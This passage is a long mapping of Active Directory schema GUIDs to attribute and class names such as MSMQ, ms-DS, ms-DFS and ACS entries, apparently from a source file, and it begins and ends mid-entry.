'9a0dc333-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Name-Style', - '6617188b-8f3c-11d0-afda-00c04fd930c9': 'RID-Used-Pool', - '3c095e8a-314e-465b-83f5-ab8277bcf29b': 'ms-DFS-Last-Modified-v2', - '88611be0-8cf4-11d0-afda-00c04fd930c9': 'rpc-Server', - '87a2d8f9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Maximum-SDU-Size', - 'eea65905-8ac6-11d0-afda-00c04fd930c9': 'Group-Priority', - 'f547511c-5b2a-44cc-8358-992a88258164': 'ms-DS-NC-RO-Replica-Locations-BL', - 'eb38a158-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Flags', - '8297931c-86d3-11d0-afda-00c04fd930c9': 'Rights-Guid', - 'edb027f3-5726-4dee-8d4e-dbf07e1ad1f1': 'ms-DFS-Link-Identity-GUID-v2', - 'c498f152-dc6b-474a-9f52-7cdba3d7d351': 'friendlyCountry', - '9c65329b-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Delay-Variation', - '9a9a021e-4a5b-11d1-a9c3-0000f80367c1': 'Group-Type', - '2de144fc-1f52-486f-bdf4-16fcc3084e54': 'ms-DS-Non-Security-Group-Extra-Classes', - '6f914be6-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Stub', - 'a8df7465-c5ea-11d1-bbcb-0080c76670c0': 'Role-Occupant', - '86b021f6-10ab-40a2-a252-1dc0cc3be6a9': 'ms-DFS-Link-Path-v2', - 'f29653d0-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Server-Element', - '9517fefb-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Latency', - 'eea65904-8ac6-11d0-afda-00c04fd930c9': 'Groups-to-Ignore', - 'd161adf0-ca24-4993-a3aa-8b2c981302e8': 'MS-DS-Per-User-Trust-Quota', - '9a0dc330-c100-11d1-bbc5-0080c76670c0': 'MSMQ-OS-Type', - '81d7f8c2-e327-4a0d-91c6-b42d4009115f': 'roomNumber', - '57cf87f7-3426-4841-b322-02b3b6e9eba8': 'ms-DFS-Link-Security-Descriptor-v2', - '8447f9f3-1027-11d0-a05f-00aa006c33ed': 'FT-Dfs', - '8d0e7195-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Policed-Size', - 'bf967982-0de6-11d0-a285-00aa003049e2': 'Has-Master-NCs', - '8b70a6c6-50f9-4fa3-a71e-1ce03040449b': 'MS-DS-Per-User-Trust-Tombstones-Quota', - '9a0dc32b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Out-Routing-Servers', - '7bfdcb80-4807-11d1-a9c3-0000f80367c1': 'Root-Trust', - '200432ce-ec5f-4931-a525-d7f4afe34e68': 'ms-DFS-Namespace-Identity-GUID-v2', - '2a39c5be-8960-11d1-aebc-0000f80367c1': 'RRAS-Administration-Connection-Point', - 'aec2cfe3-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Max-SDU-Size', - 'bf967981-0de6-11d0-a285-00aa003049e2': 'Has-Partial-Replica-NCs', - 'd921b50a-0ab2-42cd-87f6-09cf83a91854': 'ms-DS-Preferred-GC-Site', - '9a0dc328-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Owner-ID', - '88611bde-8cf4-11d0-afda-00c04fd930c9': 'rpc-Ns-Annotation', - '0c3e5bc5-eb0e-40f5-9b53-334e958dffdb': 'ms-DFS-Properties-v2', - 'bf967a9c-0de6-11d0-a285-00aa003049e2': 'Group', - 'b6873917-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Min-Policed-Size', - '5fd424a7-1262-11d0-a060-00aa006c33ed': 'Help-Data16', - 'd7c53242-724e-4c39-9d4c-2df8c9d66c7a': 'ms-DS-Repl-Attribute-Meta-Data', - '2df90d75-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Prev-Site-Gates', - 'bf967a23-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Bindings', - 'ec6d7855-704a-4f61-9aa6-c49a7c1d54c7': 'ms-DFS-Schema-Major-Version', - 'f39b98ae-938d-11d1-aebd-0000f80367c1': 'RRAS-Administration-Dictionary', - 'a331a73f-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Peak-Rate', - '5fd424a8-1262-11d0-a060-00aa006c33ed': 'Help-Data32', - '2f5c8145-e1bd-410b-8957-8bfa81d5acfd': 'ms-DS-Repl-Value-Meta-Data', - '9a0dc327-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Privacy-Level', - '7a0ba0e0-8e98-11d0-afda-00c04fd930c9': 'rpc-Ns-Codeset', - 'fef9a725-e8f1-43ab-bd86-6a0115ce9e38': 'ms-DFS-Schema-Minor-Version', - 'bf967a9d-0de6-11d0-a285-00aa003049e2': 'Group-Of-Names', - 'a916d7c9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Token-Size', - '5fd424a9-1262-11d0-a060-00aa006c33ed': 'Help-File-Name', - '0ea12b84-08b3-11d3-91bc-0000f87a57d4': 'MS-DS-Replicates-NC-Reason', - '9a0dc33e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-QM-ID', - '80212841-4bdc-11d1-a9c4-0000f80367c1': 'rpc-Ns-Entry-Flags', - '2d7826f0-4cf7-42e9-a039-1110e0d9ca99': 'ms-DFS-Short-Name-Link-Path-v2', - 'bf967a91-0de6-11d0-a285-00aa003049e2': 'Sam-Domain-Base', - '1cb355a2-56d0-11d1-a9c6-0000f80367c1': 'ACS-Non-Reserved-Tx-Limit', - 'ec05b750-a977-4efe-8e8d-ba6c1a6e33a8': 'Hide-From-AB', - '85abd4f4-0a89-4e49-bdec-6f35bb2562ba': 'ms-DS-Replication-Notify-First-DSA-Delay', - '8e441266-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Journal-Quota', - 'bf967a24-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Group', - '6ab126c6-fa41-4b36-809e-7ca91610d48f': 'ms-DFS-Target-List-v2', - '0310a911-93a3-4e21-a7a3-55d85ab2c48b': 'groupOfUniqueNames', - 'fe7afe45-3d14-43a7-afa7-3a1b144642af': 'ms-Mcs-AdmPwdExpirationTime', - 'f072230d-aef5-11d1-bdcf-0000f80367c1': 'ACS-Non-Reserved-Tx-Size', - 'bf967985-0de6-11d0-a285-00aa003049e2': 'Home-Directory', - 'd63db385-dd92-4b52-b1d8-0d3ecc0e86b6': 'ms-DS-Replication-Notify-Subsequent-DSA-Delay', - '2df90d87-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Queue-Name-Ext', - 'bf967a25-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Interface-ID', - 'ea944d31-864a-4349-ada5-062e2c614f5e': 'ms-DFS-Ttl-v2', - 'bf967aad-0de6-11d0-a285-00aa003049e2': 'Sam-Server', - '4c9928d7-d725-4fa6-a109-aba3ad8790e5': 'ms-Mcs-AdmPwd', - '7f561282-5301-11d1-a9c5-0000f80367c1': 'ACS-Permission-Bits', - 'bf967986-0de6-11d0-a285-00aa003049e2': 'Home-Drive', - '08e3aa79-eb1c-45b5-af7b-8f94246c8e41': 'ms-DS-ReplicationEpoch', - '3f6b8e12-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Quota', - '29401c48-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Object-ID', - '3ced1465-7b71-2541-8780-1e1ea6243a82': 'ms-DS-BridgeHead-Servers-Used', - 'f30e3bc2-9ff0-11d1-b603-0000f80367c1': 'Group-Policy-Container', - '1cb3559a-56d0-11d1-a9c6-0000f80367c1': 'ACS-Policy-Name', - 'a45398b7-c44a-4eb6-82d3-13c10946dbfe': 'houseIdentifier', - 'd5b35506-19d6-4d26-9afb-11357ac99b5e': 'ms-DS-Retired-Repl-NC-Signatures', - '9a0dc320-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue-Type', - 'bf967a27-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Priority', - '51c9f89d-4730-468d-a2b5-1d493212d17e': 'ms-DS-Is-Used-As-Resource-Security-Attribute', - 'bf967aae-0de6-11d0-a285-00aa003049e2': 'Secret', - '7f561281-5301-11d1-a9c5-0000f80367c1': 'ACS-Priority', - '6043df71-fa48-46cf-ab7c-cbd54644b22d': 'host', - 'b39a61be-ed07-4cab-9a4a-4963ed0141e1': 'ms-ds-Schema-Extensions', - '9a0dc322-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Quota', - 'bf967a28-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Profile-Entry', - '2e28edee-ed7c-453f-afe4-93bd86f2174f': 'ms-DS-Claim-Possible-Values', - '7bfdcb8a-4807-11d1-a9c3-0000f80367c1': 'Index-Server-Catalog', - 'f072230f-aef5-11d1-bdcf-0000f80367c1': 'ACS-RSVP-Account-Files-Location', - 'f0f8ff83-1191-11d0-a060-00aa006c33ed': 'Icon-Path', - '4c51e316-f628-43a5-b06b-ffb695fcb4f3': 'ms-DS-SD-Reference-Domain', - '3bfe6748-b544-485a-b067-1b310c4334bf': 'MSMQ-Recipient-FormatName', - '29401c4a-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Transfer-Syntax', - 'c66217b9-e48e-47f7-b7d5-6552b8afd619': 'ms-DS-Claim-Value-Type', - '4828cc14-1437-45bc-9b07-ad6f015e5f28': 'inetOrgPerson', - 'bf967aaf-0de6-11d0-a285-00aa003049e2': 'Security-Object', - '1cb3559b-56d0-11d1-a9c6-0000f80367c1': 'ACS-RSVP-Log-Files-Location', - '7d6c0e92-7e20-11d0-afd6-00c04fd930c9': 'Implemented-Categories', - '4f146ae8-a4fe-4801-a731-f51848a4f4e4': 'ms-DS-Security-Group-Extra-Classes', - '2df90d81-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Service', - '3e0abfd0-126a-11d0-a060-00aa006c33ed': 'SAM-Account-Name', - 'eebc123e-bae6-4166-9e5b-29884a8b76b0': 'ms-DS-Claim-Attribute-Source', - '7f56127f-5301-11d1-a9c5-0000f80367c1': 'ACS-Service-Type', - '7bfdcb87-4807-11d1-a9c3-0000f80367c1': 'IndexedScopes', - '0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21': 'ms-DS-Settings', - '2df90d77-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Services', - '6e7b626c-64f2-11d0-afd2-00c04fd930c9': 'SAM-Account-Type', - '6afb0e4c-d876-437c-aeb6-c3e41454c272': 'ms-DS-Claim-Type-Applies-To-Class', - '2df90d89-009f-11d2-aa4c-00c04fd7d83a': 'Infrastructure-Update', - 'bf967a92-0de6-11d0-a285-00aa003049e2': 'Server', - '7f561279-5301-11d1-a9c5-0000f80367c1': 'ACS-Time-Of-Day', - '52458023-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Incoming', - 'c17c5602-bcb7-46f0-9656-6370ca884b72': 'ms-DS-Site-Affinity', - '8bf0221b-7a06-4d63-91f0-1499941813d3': 'MSMQ-Secured-Source', - '04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe': 'SAM-Domain-Updates', - '52c8d13a-ce0b-4f57-892b-18f5a43a2400': 'ms-DS-Claim-Shares-Possible-Values-With', - '7f561280-5301-11d1-a9c5-0000f80367c1': 'ACS-Total-No-Of-Flows', - '52458024-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Outgoing', - '789ee1eb-8c8e-4e4c-8cec-79b31b7617b5': 'ms-DS-SPN-Suffixes', - '9a0dc32d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Service-Type', - 'dd712224-10e4-11d0-a05f-00aa006c33ed': 'Schedule', - '54d522db-ec95-48f5-9bbd-1880ebbb2180': 'ms-DS-Claim-Shares-Possible-Values-With-BL', - '07383086-91df-11d1-aebc-0000f80367c1': 'Intellimirror-Group', - 'f780acc0-56f0-11d1-a9c6-0000f80367c1': 'Servers-Container', - '7cbd59a5-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Server-List', - 'f0f8ff90-1191-11d0-a060-00aa006c33ed': 'Initials', - '35319082-8c4a-4646-9386-c2949d49894d': 'ms-DS-Tasks-For-Az-Role', - '9a0dc33d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Services', - 'bf967a2b-0de6-11d0-a285-00aa003049e2': 'Schema-Flags-Ex', - '4d371c11-4cad-4c41-8ad2-b180ab2bd13c': 'ms-DS-Members-Of-Resource-Property-List', - '6d05fb41-246b-11d0-a9c8-00aa006c33ed': 'Additional-Information', - '96a7dd64-9118-11d1-aebc-0000f80367c1': 'Install-Ui-Level', - 'a0dcd536-5158-42fe-8c40-c00a7ad37959': 'ms-DS-Tasks-For-Az-Role-BL', - '9a0dc33b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Certificates', - 'bf967923-0de6-11d0-a285-00aa003049e2': 'Schema-ID-GUID', - '7469b704-edb0-4568-a5a5-59f4862c75a7': 'ms-DS-Members-Of-Resource-Property-List-BL', - '07383085-91df-11d1-aebc-0000f80367c1': 'Intellimirror-SCP', - 'b7b13123-b82e-11d0-afee-0000f80367c1': 'Service-Administration-Point', - '032160be-9824-11d1-aec0-0000f80367c1': 'Additional-Trusted-Service-Names', - 'bf96798c-0de6-11d0-a285-00aa003049e2': 'Instance-Type', - 'b11c8ee2-5fcd-46a7-95f0-f38333f096cf': 'ms-DS-Tasks-For-Az-Task', - '3881b8ea-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Sign-Certificates-Mig', - 'f9fb64ae-93b4-11d2-9945-0000f87a57d4': 'Schema-Info', - 'b47f510d-6b50-47e1-b556-772c79e4ffc4': 'ms-SPP-CSVLK-Pid', - 'f0f8ff84-1191-11d0-a060-00aa006c33ed': 'Address', - 'b7c69e60-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Failover', - 'df446e52-b5fa-4ca2-a42f-13f98a526c8f': 'ms-DS-Tasks-For-Az-Task-BL', - '9a0dc332-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Key', - '1e2d06b4-ac8f-11d0-afe3-00c04fd930c9': 'Schema-Update', - 'a601b091-8652-453a-b386-87ad239b7c08': 'ms-SPP-CSVLK-Partial-Product-Key', - '26d97376-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport', - 'bf967ab1-0de6-11d0-a285-00aa003049e2': 'Service-Class', - 'f70b6e48-06f4-11d2-aa53-00c04fd7d83a': 'Address-Book-Roots', - 'b7c69e5e-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Generator', - '2cc4b836-b63f-4940-8d23-ea7acf06af56': 'ms-DS-User-Account-Control-Computed', - '9a0dc337-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-1', - 'bf967a2c-0de6-11d0-a285-00aa003049e2': 'Schema-Version', - '9684f739-7b78-476d-8d74-31ad7692eef4': 'ms-SPP-CSVLK-Sku-Id', - '5fd42461-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table', - 'b7c69e5f-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Renew', - 'add5cf10-7b09-4449-9ae6-2534148f8a72': 'ms-DS-User-Password-Expiry-Time-Computed', - '9a0dc338-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-2', - '16f3a4c2-7e79-11d2-9921-0000f87a57d4': 'Scope-Flags', - '9b663eda-3542-46d6-9df0-314025af2bac': 'ms-SPP-KMS-Ids', - '26d97375-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport-Container', - '28630ec1-41d5-11d1-a9c1-0000f80367c1': 'Service-Connection-Point', - '5fd42462-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table-MSDOS', - 'bf96798d-0de6-11d0-a285-00aa003049e2': 'International-ISDN-Number', - '146eb639-bb9f-4fc1-a825-e29e00c77920': 'ms-DS-UpdateScript', - 'fd129d8a-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Site-Foreign', - 'bf9679a8-0de6-11d0-a285-00aa003049e2': 'Script-Path', - '69bfb114-407b-4739-a213-c663802b3e37': 'ms-SPP-Installation-Id', - '16775781-47f3-11d1-a9c3-0000f80367c1': 'Address-Home', - 'bf96798e-0de6-11d0-a285-00aa003049e2': 'Invocation-Id', - '773e93af-d3b4-48d4-b3f9-06457602d3d0': 'ms-DS-Source-Object-DN', - '9a0dc339-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Gates', - 'c3dbafa6-33df-11d2-98b2-0000f87a57d4': 'SD-Rights-Effective', - '6e8797c4-acda-4a49-8740-b0bd05a9b831': 'ms-SPP-Confirmation-Id', - 'b40ff825-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Base', - 'bf967ab2-0de6-11d0-a285-00aa003049e2': 'Service-Instance', - '5fd42463-1262-11d0-a060-00aa006c33ed': 'Address-Syntax', - 'b40ff81f-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data', - '778ff5c9-6f4e-4b74-856a-d68383313910': 'ms-DS-KrbTgt-Link', - 'e2704852-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Site-Gates-Mig', - 'bf967a2d-0de6-11d0-a285-00aa003049e2': 'Search-Flags', - '098f368e-4812-48cd-afb7-a136b96807ed': 'ms-SPP-Online-License', - '5fd42464-1262-11d0-a060-00aa006c33ed': 'Address-Type', - 'b40ff81e-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data-Type', - '185c7821-3749-443a-bd6a-288899071adb': 'ms-DS-Revealed-Users', - '9a0dc340-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-ID', - 'bf967a2e-0de6-11d0-a285-00aa003049e2': 'Search-Guide', - '67e4d912-f362-4052-8c79-42f45ba7b221': 'ms-SPP-Phone-License', - 'b40ff826-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter', - '5fe69b0b-e146-4f15-b0ab-c1e5d488e094': 'simpleSecurityObject', - '553fd038-f32e-11d0-b0bc-00c04fd8dca6': 'Admin-Context-Menu', - 'b40ff823-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter-Reference', - '1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3': 'ms-DS-Has-Full-Replica-NCs', - 'ffadb4b2-de39-11d1-90a5-00c04fd91ab1': 'MSMQ-Site-Name', - '01072d9a-98ad-4a53-9744-e83e287278fb': 'secretary', - '0353c4b5-d199-40b0-b3c5-deb32fd9ec06': 'ms-SPP-Config-License', - 'bf967918-0de6-11d0-a285-00aa003049e2': 'Admin-Count', - 'b40ff81d-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ID', - '15585999-fd49-4d66-b25d-eeb96aba8174': 'ms-DS-Never-Reveal-Group', - '422144fa-c17f-4649-94d6-9731ed2784ed': 'MSMQ-Site-Name-Ex', - 'bf967a2f-0de6-11d0-a285-00aa003049e2': 'Security-Identifier', - '1075b3a1-bbaf-49d2-ae8d-c4f25c823303': 'ms-SPP-Issuance-License', - 'b40ff828-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Policy', - 'bf967ab3-0de6-11d0-a285-00aa003049e2': 'Site', - 'bf967919-0de6-11d0-a285-00aa003049e2': 'Admin-Description', - 'b40ff820-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Reference', - '303d9f4a-1dd6-4b38-8fc5-33afe8c988ad': 'ms-DS-Reveal-OnDemand-Group', - '9a0dc32a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sites', - 'bf967a31-0de6-11d0-a285-00aa003049e2': 'See-Also', - '19d706eb-4d76-44a2-85d6-1c342be3be37': 'ms-TPM-Srk-Pub-Thumbprint', - 'bf96791a-0de6-11d0-a285-00aa003049e2': 'Admin-Display-Name', - 'b40ff81c-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Name', - 'aa156612-2396-467e-ad6a-28d23fdb1865': 'ms-DS-Secondary-KrbTgt-Number', - '9a0dc329-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Transactional', - 'ddac0cf2-af8f-11d0-afeb-00c04fd930c9': 'Seq-Notification', - 'c894809d-b513-4ff8-8811-f4f43f5ac7bc': 'ms-TPM-Owner-Information-Temp', - 'b40ff827-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy', - 'd50c2cde-8951-11d1-aebc-0000f80367c1': 'Site-Link', - '18f9b67d-5ac6-4b3b-97db-d0a406afb7ba': 'Admin-Multiselect-Property-Pages', - '07383075-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Action', - '94f6f2ac-c76d-4b5e-b71f-f332c3e93c22': 'ms-DS-Revealed-DSAs', - 'c58aae32-56f9-11d2-90d0-00c04fd91ab1': 'MSMQ-User-Sid', - 'bf967a32-0de6-11d0-a285-00aa003049e2': 'Serial-Number', - 'ea1b7b93-5e48-46d5-bc6c-4df4fda78a35': 'ms-TPM-Tpm-Information-For-Computer', - '52458038-ca6a-11d0-afff-0000f80367c1': 'Admin-Property-Pages', - 'b40ff822-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy-Reference', - '5dd68c41-bfdf-438b-9b5d-39d9618bf260': 'ms-DS-KrbTgt-Link-BL', - '9a0dc336-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Version', - '09dcb7a0-165f-11d0-a064-00aa006c33ed': 'Server-Name', - '14fa84c9-8ecd-4348-bc91-6d3ced472ab7': 'ms-TPM-Tpm-Information-For-Computer-BL', - 'b40ff829-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA', - 'd50c2cdf-8951-11d1-aebc-0000f80367c1': 'Site-Link-Bridge', - '9a7ad940-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes', - '07383074-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Type', - 'c8bc72e0-a6b4-48f0-94a5-fd76a88c9987': 'ms-DS-Is-Full-Replica-For', - 'db0c9085-c1f2-11d1-bbc5-0080c76670c0': 'msNPAllowDialin', - '26d9736d-6070-11d1-a9c6-0000f80367c1': 'Server-Reference', - '0be0dd3b-041a-418c-ace9-2f17d23e9d42': 'ms-DNS-Keymaster-Zones', - '9a7ad941-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes-Effective', - 'b40ff821-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA-Reference', - 'ff155a2a-44e5-4de0-8318-13a58988de4f': 'ms-DS-Is-Domain-For', - 'db0c9089-c1f2-11d1-bbc5-0080c76670c0': 'msNPCalledStationID', - '26d9736e-6070-11d1-a9c6-0000f80367c1': 'Server-Reference-BL', - 'aa12854c-d8fc-4d5e-91ca-368b8d829bee': 'ms-DNS-Is-Signed', - 'b7b13121-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy', - '7a4117da-cd67-11d0-afff-0000f80367c1': 'Sites-Container', - '9a7ad942-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes', - 'b40ff824-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Owners-Reference', - '37c94ff6-c6d4-498f-b2f9-c6f7f8647809': 'ms-DS-Is-Partial-Replica-For', - 'db0c908a-c1f2-11d1-bbc5-0080c76670c0': 'msNPCallingStationID', - 'bf967a33-0de6-11d0-a285-00aa003049e2': 'Server-Role', - 'c79f2199-6da1-46ff-923c-1f3f800c721e': 'ms-DNS-Sign-With-NSEC3', - '9a7ad943-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes-Effective', - 'b7b13118-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy-Reference', - 'fe01245a-341f-4556-951f-48c033a89050': 'ms-DS-Is-User-Cachable-At-Rodc', - 'db0c908e-c1f2-11d1-bbc5-0080c76670c0': 'msNPSavedCallingStationID', - 'bf967a34-0de6-11d0-a285-00aa003049e2': 'Server-State', - '7bea2088-8ce2-423c-b191-66ec506b1595': 'ms-DNS-NSEC3-OptOut', - 'bf967a9e-0de6-11d0-a285-00aa003049e2': 'Leaf', - 'bf967ab5-0de6-11d0-a285-00aa003049e2': 'Storage', - '00fbf30c-91fe-11d1-aebc-0000f80367c1': 'Alt-Security-Identities', - '00fbf30d-91fe-11d1-aebc-0000f80367c1': 'Is-Critical-System-Object', - 'cbdad11c-7fec-387b-6219-3a0627d9af81': 'ms-DS-Revealed-List', - 'db0c909c-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSCallbackNumber', - 'b7b1311c-b82e-11d0-afee-0000f80367c1': 'Service-Binding-Information', - '0dc063c1-52d9-4456-9e15-9c2434aafd94': 'ms-DNS-Maintain-Trust-Anchor', - '45b01500-c419-11d1-bbc9-0080c76670c0': 'ANR', - '28630ebe-41d5-11d1-a9c1-0000f80367c1': 'Is-Defunct', - 'aa1c88fd-b0f6-429f-b2ca-9d902266e808': 'ms-DS-Revealed-List-BL', - 'db0c90a4-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedIPAddress', - 'bf967a35-0de6-11d0-a285-00aa003049e2': 'Service-Class-ID', - '5c5b7ad2-20fa-44bb-beb3-34b9c0f65579': 'ms-DNS-DS-Record-Algorithms', - '1be8f17d-a9ff-11d0-afe2-00c04fd930c9': 'Licensing-Site-Settings', - 'b7b13124-b82e-11d0-afee-0000f80367c1': 'Subnet', - '96a7dd65-9118-11d1-aebc-0000f80367c1': 'App-Schema-Version', - 'bf96798f-0de6-11d0-a285-00aa003049e2': 'Is-Deleted', - '011929e6-8b5d-4258-b64a-00b0b4949747': 'ms-DS-Last-Successful-Interactive-Logon-Time', - 'db0c90a9-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedRoute', - 'bf967a36-0de6-11d0-a285-00aa003049e2': 'Service-Class-Info', - '27d93c40-065a-43c0-bdd8-cdf2c7d120aa': 'ms-DNS-RFC5011-Key-Rollovers', - 'dd712226-10e4-11d0-a05f-00aa006c33ed': 'Application-Name', - 'f4c453f0-c5f1-11d1-bbcb-0080c76670c0': 'Is-Ephemeral', - 'c7e7dafa-10c3-4b8b-9acd-54f11063742e': 'ms-DS-Last-Failed-Interactive-Logon-Time', - 'db0c90b6-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSServiceType', - 'b7b1311d-b82e-11d0-afee-0000f80367c1': 'Service-Class-Name', - 'ff9e5552-7db7-4138-8888-05ce320a0323': 'ms-DNS-NSEC3-Hash-Algorithm', - 'ddac0cf5-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Object-Move-Table', - 'b7b13125-b82e-11d0-afee-0000f80367c1': 'Subnet-Container', - '8297931d-86d3-11d0-afda-00c04fd930c9': 'Applies-To', - 'bf967991-0de6-11d0-a285-00aa003049e2': 'Is-Member-Of-DL', - 'dc3ca86f-70ad-4960-8425-a4d6313d93dd': 'ms-DS-Failed-Interactive-Logon-Count', - 'db0c90c5-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedCallbackNumber', - '28630eb8-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name', - '13361665-916c-4de7-a59d-b1ebbd0de129': 'ms-DNS-NSEC3-Random-Salt-Length', - 'ba305f75-47e3-11d0-a1a6-00c04fd930c9': 'Asset-Number', - '19405b9d-3cfa-11d1-a9c0-0000f80367c1': 'Is-Member-Of-Partial-Attribute-Set', - 'c5d234e5-644a-4403-a665-e26e0aef5e98': 'ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon', - 'db0c90c6-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedIPAddress', - '28630eba-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name-Type', - '80b70aab-8959-4ec0-8e93-126e76df3aca': 'ms-DNS-NSEC3-Iterations', - 'ddac0cf7-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-OMT-Entry', - '0296c11c-40da-11d1-a9c0-0000f80367c1': 'Assistant', - '19405b9c-3cfa-11d1-a9c0-0000f80367c1': 'Is-Privilege-Holder', - '31f7b8b6-c9f8-4f2d-a37b-58a823030331': 'ms-DS-USN-Last-Sync-Success', - 'db0c90c7-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedRoute', - 'bf967a37-0de6-11d0-a285-00aa003049e2': 'Service-Instance-Version', - '8f4e317f-28d7-442c-a6df-1f491f97b326': 'ms-DNS-DNSKEY-Record-Set-TTL', - 'bf967ab8-0de6-11d0-a285-00aa003049e2': 'Trusted-Domain', - '398f63c0-ca60-11d1-bbd1-0000f81f10c0': 'Assoc-NT-Account', - '8fb59256-55f1-444b-aacb-f5b482fe3459': 'Is-Recycled', - '78fc5d84-c1dc-3148-8984-58f792d41d3e': 'ms-DS-Value-Type-Reference', - 'bf9679d3-0de6-11d0-a285-00aa003049e2': 'Must-Contain', - 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Service-Principal-Name', - '29869b7c-64c4-42fe-97d5-fbc2fa124160': 'ms-DNS-DS-Record-Set-TTL', - 'ddac0cf6-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Vol-Entry', - '3320fc38-c379-4c17-a510-1bdf6133c5da': 'associatedDomain', - 'bf967992-0de6-11d0-a285-00aa003049e2': 'Is-Single-Valued', - 'ab5543ad-23a1-3b45-b937-9b313d5474a8': 'ms-DS-Value-Type-Reference-BL', - '80212840-4bdc-11d1-a9c4-0000f80367c1': 'Name-Service-Flags', - '7d6c0e97-7e20-11d0-afd6-00c04fd930c9': 'Setup-Command', - '03d4c32e-e217-4a61-9699-7bbc4729a026': 'ms-DNS-Signature-Inception-Offset', - '281416e2-1968-11d0-a28f-00aa003049e2': 'Type-Library', - 'f7fbfc45-85ab-42a4-a435-780e62f7858b': 'associatedName', - 'bac80572-09c4-4fa9-9ae6-7628d7adbe0e': 